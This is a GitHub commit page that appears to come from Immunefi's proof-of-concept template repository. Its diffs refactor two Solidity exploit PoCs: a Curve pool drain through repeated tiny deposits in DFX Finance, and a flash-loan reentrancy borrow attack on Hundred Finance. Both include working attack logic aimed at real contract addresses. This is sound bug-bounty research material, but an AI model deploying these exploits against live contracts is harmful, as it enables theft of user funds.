Skip to content

Commit

Permalink
Merge pull request #21 from immunefi-team/feat/poc-template
Browse files Browse the repository at this point in the history
Feat/poc template
  • Loading branch information
janbro authored Sep 11, 2023
2 parents 6463381 + 61f7c05 commit 0d260f6
Show file tree
Hide file tree
Showing 23 changed files with 332 additions and 286 deletions.
6 changes: 0 additions & 6 deletions .gitmodules
Original file line number Diff line number Diff line change
@@ -1,9 +1,3 @@
[submodule "lib/forge-std"]
path = lib/forge-std
url = https://github.com/foundry-rs/forge-std
[submodule "lib/v2-core"]
path = lib/v2-core
url = https://github.com/uniswap/v2-core
[submodule "lib/v2-periphery"]
path = lib/v2-periphery
url = https://github.com/uniswap/v2-periphery
2 changes: 1 addition & 1 deletion lib/forge-std
1 change: 0 additions & 1 deletion lib/v2-core
Submodule v2-core deleted from ee547b
1 change: 0 additions & 1 deletion lib/v2-periphery
Submodule v2-periphery deleted from 0335e8
59 changes: 19 additions & 40 deletions pocs/DFXFinanceBugfixReview.sol
Original file line number Diff line number Diff line change
Expand Up @@ -2,37 +2,28 @@
pragma solidity ^0.8.0;

import "../src/tokens/Tokens.sol";
import "../src/PoC.sol";

contract DFXFinanceBugfixReview is Tokens {
contract DFXFinanceBugfixReview is PoC {
ICurve constant curve_pool = ICurve(0x2385D7aB31F5a470B1723675846cb074988531da);
IERC20 constant EURS = IERC20(0xE111178A87A3BFf0c8d18DECBa5798827539Ae99);

function initiateAttack() external {
console.log("\n>>> Initiate attack\n");

// Deal tokens to attacker
console.log("> Deal 100 EURS and 100 USDC to attacker");
deal(PolygonTokens.USDC, address(this), 100 * 1e6);
deal(EURS, address(this), 100 * 1e2);

uint256 attacker_euro_balance = EURS.balanceOf(address(this));
uint256 attacker_usdc_balance = PolygonTokens.USDC.balanceOf(address(this));
IERC20[] tokens;

console.log("EURO balance of attacker:", attacker_euro_balance);
console.log("USDC balance of attacker:", attacker_usdc_balance);

uint256 curve_euro_balance = EURS.balanceOf(address(curve_pool));
uint256 curve_usdc_balance = PolygonTokens.USDC.balanceOf(address(curve_pool));
function initiateAttack() external {
tokens.push(PolygonTokens.USDC);
tokens.push(EURS);

console.log("EURO balance of Curve pool:", curve_euro_balance);
console.log("USDC balance of Curve pool:", curve_usdc_balance);
// snapshotAndPrint(address(curve_pool), tokens);
setAlias(address(curve_pool), "curve_pool");
setAlias(address(this), "Attacker");

// Execute attack multiple times to drain pool
_executeAttack();
}

function _executeAttack() internal {
console.log("\n>>> Execute attack\n");
console.log("\n>>> Execute attack");

// Approve curve pool to use funds
PolygonTokens.USDC.approve(address(curve_pool), PolygonTokens.USDC.balanceOf(address(this)));
Expand All @@ -48,40 +39,28 @@ contract DFXFinanceBugfixReview is Tokens {

// Deposit small amount in a loop 10,000 times to gain curve LP tokens without depositing EURS
// If gas price is 231 wei = 0.000000231651787155 => Gas = 161 matic
console.log("> Deposit small amount to curve pool 10,000 times");
console.log("Deposit small amount to curve pool 10,000 times");
for (uint256 i = 0; i < 10000; i++) {
curve_pool.deposit(deposit, minQuoteAmount, minBaseAmount, maxQuoteAmount, maxBaseAmount, deadline);
}

uint256 attacker_euro_balance = EURS.balanceOf(address(this));
uint256 attacker_usdc_balance = PolygonTokens.USDC.balanceOf(address(this));
snapshotAndPrint(address(this), tokens);

console.log("EURO balance of attacker:", attacker_euro_balance);
console.log("USDC balance of attacker:", attacker_usdc_balance);
console.log("Withdraw curve pool LP tokens");

IERC20[] memory curve_token = new IERC20[](1);
curve_token[0] = IERC20(address(curve_pool));
snapshotAndPrint(address(this), curve_token);

console.log("> Withdraw curve pool LP tokens");
uint256 curvesToBurn = curve_pool.balanceOf(address(this));
console.log("CURVE balance of attacker:", curvesToBurn);
// Withdraw curve LP tokens to receive proportion of liquidity in pool of EURS and USDC
uint256 curvesToBurn = curve_pool.balanceOf(address(this));
curve_pool.withdraw(curvesToBurn, deadline);

_completeAttack();
}

function _completeAttack() internal {
console.log("\n>>> Attack complete\n");

uint256 attacker_euro_balance = EURS.balanceOf(address(this));
uint256 attacker_usdc_balance = PolygonTokens.USDC.balanceOf(address(this));

console.log("EURO balance of attacker:", attacker_euro_balance);
console.log("USDC balance of attacker:", attacker_usdc_balance);

uint256 curve_euro_balance = EURS.balanceOf(address(curve_pool));
uint256 curve_usdc_balance = PolygonTokens.USDC.balanceOf(address(curve_pool));

console.log("EURO balance of Curve pool:", curve_euro_balance);
console.log("USDC balance of Curve pool:", curve_usdc_balance);
console.log("\n>>> Complete attack");
}
}

Expand Down
44 changes: 30 additions & 14 deletions pocs/HundredFinanceHack.sol
Original file line number Diff line number Diff line change
Expand Up @@ -3,11 +3,12 @@ pragma solidity ^0.8.0;
import "../src/flashloan/FlashLoan.sol";
import "../src/reentrancy/Reentrancy.sol";
import "../src/tokens/Tokens.sol";
import "../src/PoC.sol";

import "forge-std/interfaces/IERC20.sol";
import "forge-std/console.sol";

contract HundredFinanceHack is FlashLoan, Reentrancy {
contract HundredFinanceHack is FlashLoan, Reentrancy, PoC {
// Hundred Finance Markets on Gnosis Chain
IERC20 constant husd = IERC20(0x243E33aa7f6787154a8E59d3C27a66db3F8818ee);
IERC20 constant hxdai = IERC20(0x090a00A2De0EA83DEf700B5e216f87a5D4F394FE);
Expand All @@ -18,20 +19,19 @@ contract HundredFinanceHack is FlashLoan, Reentrancy {
uint256 totalFlashloaned;

function initiateAttack() external {
console.log("USDC balance before:", GnosisTokens.USDC.balanceOf(address(this)));

// Setup token pair and amounts to flash loan from UniswapV2
address[] memory tokens = new address[](2);
tokens[0] = address(GnosisTokens.USDC);
tokens[1] = address(wxdai);
IERC20[] memory tokens = new IERC20[](2);
tokens[0] = GnosisTokens.USDC;
tokens[1] = wxdai;
uint256[] memory amounts = new uint256[](2);
amounts[0] = 2117765617657;
amounts[1] = 0;

setAlias(address(this), "Attacker");

// Trigger the flash loan from the passed provider
// This will call _executeAttack which has logic to determine if it's in the flash loan callback
takeFlashLoan(FlashLoanProviders.UNISWAPV2, tokens, amounts);
console.log("USDC balance after:", GnosisTokens.USDC.balanceOf(address(this)));
}

function _executeAttack() internal override(FlashLoan, Reentrancy) {
Expand All @@ -50,9 +50,15 @@ contract HundredFinanceHack is FlashLoan, Reentrancy {
// we can reuse the collateral
ICompoundToken(address(hxdai)).borrow(amount);
}
} else if (currentFlashLoanProvider() == FlashLoanProviders.UNISWAPV2) {
// Check that our current flash loan provider is Uniswap
console.log("USDC balance after flash loan:", GnosisTokens.USDC.balanceOf(address(this)));
}
// Check that our current flash loan provider is UniswapV2
else if (currentFlashLoanProvider() == FlashLoanProviders.UNISWAPV2) {
// Attacker USDC balance before borrow
console.log("Attacker USDC and xdai balances after flash loan");
IERC20[] memory tokens = new IERC20[](2);
tokens[0] = GnosisTokens.USDC;
tokens[1] = IERC20(address(0x0));
snapshotAndPrint(address(this), tokens);

// Decode the parameters passed to the flash loan callback function, `uniswapV2Call(address sender, uint amount0, uint amount1, bytes calldata data)`
(, uint256 amount0, uint256 amount1,) = abi.decode(msg.data[4:], (address, uint256, uint256, bytes));
Expand All @@ -63,13 +69,20 @@ contract HundredFinanceHack is FlashLoan, Reentrancy {
GnosisTokens.USDC.approve(address(husd), balance);
ICompoundToken(address(husd)).mint(balance);

IERC20[] memory tokens2 = new IERC20[](2);
tokens2[0] = GnosisTokens.USDC;
tokens2[1] = husd;
console.log("Attacker USDC and hUSD balances after mint");
snapshotAndPrint(address(this), tokens2);

// Borrow usdc agaist our minted husd
// This triggers a token callback on our contract through the transfer of usdc
uint256 amount = (totalFlashloaned * 90) / 100;
ICompoundToken(address(husd)).borrow(amount);

console.log("Attacker USDC balance after borrow: %s USDC", GnosisTokens.USDC.balanceOf(address(this)));
console.log("Attacker xdai balance after borrow: %s XDAI", address(this).balance);
// Attacker USDC and xdai balances after borrow
console.log("Attacker USDC and xdai balances after borrow attack");
snapshotAndPrint(address(this), tokens);
}
}

Expand All @@ -78,8 +91,11 @@ contract HundredFinanceHack is FlashLoan, Reentrancy {
IWETH(payable(address(wxdai))).deposit{value: address(this).balance}();
wxdai.approve(address(curve), wxdai.balanceOf(address(this)));
curve.exchange(0, 1, wxdai.balanceOf(address(this)), 1);
console.log("Attacker USDC balance after swap: %s USDC", GnosisTokens.USDC.balanceOf(address(this)));
console.log("Attacker xdai balance after swap: %s XDAI", address(this).balance);
console.log("Attacker USDC and xdai balance after swap");
IERC20[] memory tokens = new IERC20[](2);
tokens[0] = GnosisTokens.USDC;
tokens[1] = IERC20(address(0x0));
snapshotAndPrint(address(this), tokens);
}

// Our contract needs to implement this function to be able to receive Gnosis chain's native asset, xdai
Expand Down
6 changes: 1 addition & 5 deletions remappings.txt
Original file line number Diff line number Diff line change
@@ -1,6 +1,2 @@
ds-test/=lib/forge-std/lib/ds-test/src/
forge-std/=lib/forge-std/src/
@openzeppelin/contracts=lib/openzeppelin-contracts/contracts/
@openzeppelin/contract-upgradeable=lib/openzeppelin-contracts-upgradeable/contracts/
@uniswap-v2-core/=lib/uniswap-v2-core/contracts/
@uniswap-v2-periphery/=lib/uniswap-v2-periphery/contracts/
forge-std/=lib/forge-std/src/
23 changes: 0 additions & 23 deletions src/FlashLoanTemplate.sol

This file was deleted.

Loading

0 comments on commit 0d260f6

Please sign in to comment.